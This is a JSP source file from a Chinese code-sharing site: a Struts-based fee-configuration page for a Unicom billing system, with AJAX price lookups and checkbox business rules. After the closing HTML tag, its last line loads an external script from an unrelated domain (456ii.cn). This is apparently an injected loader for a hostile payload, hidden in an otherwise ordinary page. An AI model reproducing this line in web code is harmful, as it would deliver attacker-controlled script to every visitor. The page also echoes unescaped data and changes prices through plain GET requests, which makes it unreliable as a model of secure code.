⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 charge.jsp

📁 开发的一个java web的任务管理系统。
💻 JSP
字号:
<%@ page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<%@ page import = "unicom.bean.*,java.util.*"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache,must-revalidate">
<meta http-equiv="expires" content="0">    
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">
<Script type="text/javascript">
    <%--利用ajax中的xmlHttpRequest对象与服务器进行异步通信,从数据库动态取得内容到下拉列表--%>
	var xmlHttp;
    var temp = 0;
	//回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
	function callBackShow()
	{
     
	  if(xmlHttp.readyState == 4)
	  {
	   if(xmlHttp.status == 200)
           {
               //向页面的text写数据
               document.dynaForm.elements['chargePrice'].value = xmlHttp.responseText;
               //将响应的数据保存在temp中
               temp = xmlHttp.responseText;
            }
	  }
	  
	  
	}
	//内容改变事件所触发而调用的函数
	function startShowPrice()
	{
	  //取得被选中的下拉列表值
	  var codeSelect = document.dynaForm.chargeCode;
	  var code = codeSelect[codeSelect.selectedIndex].value;
	  //取得xmlHttpRequest对象
      if(window.ActiveXObject)
	  	{
	  	  xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	  	}
	  else if(window.XMLHttpRequest)
	    {
	      xmlHttp = new XMLHttpRequest();
	    }
	  //从页面取得的code值作为下面url的请求参数,注意"&timeStamp=" + new Date().getTime()"这段代码防止xmlHttpRequest对象读取缓存
	  var url = "charge.show?code=" + code + "&timeStamp=" + new Date().getTime();
	  xmlHttp.open("get",url,true);
	  xmlHttp.onreadystatechange=callBackShow;
	  xmlHttp.send(null);
	}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 <%--利用ajax的xmlHttpRequest对象与服务器通信,修改收费金额--%>
 //回调函数(当请求成功发到服务器并且服务返回200响应状态码时而执行)
    function callBackUpdate()
    {
      if(xmlHttp.readyState == 4)
	  {
	   if(xmlHttp.status == 200)
           {
             var message = xmlHttp.responseText;
             alert(message);
            }
	  }
    }
	function updateChargePrice()
	{
	  <%--取得下拉列表(对应数据库TCharge表的code)和文本框的值(对应数据库TCharge表中的charge)--%>
	  var codeSelect = document.dynaForm.chargeCode;
	  var code = codeSelect[codeSelect.selectedIndex].value;
	  var charge = document.dynaForm.elements['chargePrice'].value;
	  if(isNaN(charge))
	  {
	    alert("请在文本框中输入数字");
	    document.dynaForm.elements['chargePrice'].value = 0;
	    return;
	  } else{
	  //取得xmlHttpRequest对象
      if(window.ActiveXObject)
	  	{
	  	  xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	  	}
	  else if(window.XMLHttpRequest)
	    {
	      xmlHttp = new XMLHttpRequest();
	    }
      var url = "charge.update?code=" + code + "&charge=" + charge;
      xmlHttp.open("get",url,true);
      xmlHttp.onreadystatechange=callBackUpdate;
      xmlHttp.send(null);
      }

	}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    //功能;对text里面的数据进行重写为以前进来时候的数据
    function rewrite()
    {
     document.dynaForm.elements['chargePrice'].value = temp;
    }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//让所有复选框置于未选择状态
function refreshBusinessRule()
{
    document.all["businessRule"][0].checked=false;
    document.all["businessRule"][1].checked=false;
    document.all["businessRule"][2].checked=false;
    document.all["businessRule"][3].checked=false;
    document.all["businessRule"][4].checked=false;
}
</Script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
  <TBODY>
  <TR vAlign=top>
    <TD width=173 bgColor=#c9d3e9 rowSpan=2>
      <%@ include file="left.jsp"%>
      </TD>
    
    <TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
    <TD width="2">
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD height=25>&nbsp;您现在的位置</TD>
        </TR>
        <TR>
          <TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif" 
            width=1></TD></TR>
        <TR>
          <TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
  <TR vAlign=top>
    <TD height="600" bgColor=#f1f3f9>
    <!-- 配置费用细项 -->
    <br>
    <h2>收费细项</h2>

     <html:form action="changeCharge.do">
     <p>收费项目:
     <logic:present name="chargeList">
     <html:select property="chargeCode" onchange="startShowPrice()">
     <html:options collection = "chargeList" property = "code" labelProperty="name"/>
     </html:select>
    </logic:present></p>
    <p>收费金额:
    <logic:present name="currentCharge">
    <html:text property="chargePrice" value="${currentCharge.charge}"></html:text>
    </logic:present>
    </p>
    <p><input type="button" value="提交" name="B1" onClick="updateChargePrice()"><input type="button" value="重写" 
name="B2" onClick="rewrite()"></p>
     </html:form>
     
    <!-- 配置业务费用 -->
    <hr>
    <h2>业务收费</h2>
    <form method="POST" action="UpdateBusinessRule" name="businessCharge">
      <p>业务:<select size="1" name="business">
        
         <%
          //获取当前select中应该显示的Business
          Business currentBusiness = (Business)request.getAttribute("currentBusiness");
          String currentId = currentBusiness.getId();
          String currentName = currentBusiness.getName();
          
          List businessList = (List)request.getAttribute("businessList");
          for(int j = 0;j<businessList.size();j++)
          {
            Business business = (Business)businessList.get(j);
            if(business.getId().equals(currentId))
            {
              out.println("<option value = " + business.getId() + " selected>" + business.getName() + "</option>");
            }
            else
            {
              out.println("<option value = " + business.getId() + ">" + business.getName() + "</option>");
            }
            
          }
         %>
      </select></p>
      
      
      <p>收费项目:
      <%
         List businessRuleByIdList = (List)request.getAttribute("businessRuleByIdList");
         List businessRuleCode =  new ArrayList();
         Charge currentCharge = (Charge)request.getAttribute("currentCharge");
         List chargeList = (List)request.getAttribute("chargeList");
         for(int m=0;m<businessRuleByIdList.size();m++)
         {
           BusinessRule businessRule = (BusinessRule)businessRuleByIdList.get(m);
           businessRuleCode.add(businessRule.getCode());
         }
   
         for(int i=0;i<chargeList.size();i++)
         {
           Charge charge = (Charge)chargeList.get(i);
           if(businessRuleCode.indexOf(charge.getCode()) != -1)
           {
            out.println("<input type=checkbox name='businessRule' value=" + charge.getCode() +" checked/>" + charge.getName());
          }
         else{
            out.println("<input type=checkbox name='businessRule' value=" + charge.getCode() +" />" + charge.getName());
          }
          
         }
         
        %>
       
      </p>
      <p><input type="submit" value="提交" name="B1"><input type="button" value="重写" onClick="refreshBusinessRule();"></p>
    </form>   
    </TR>
  </TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -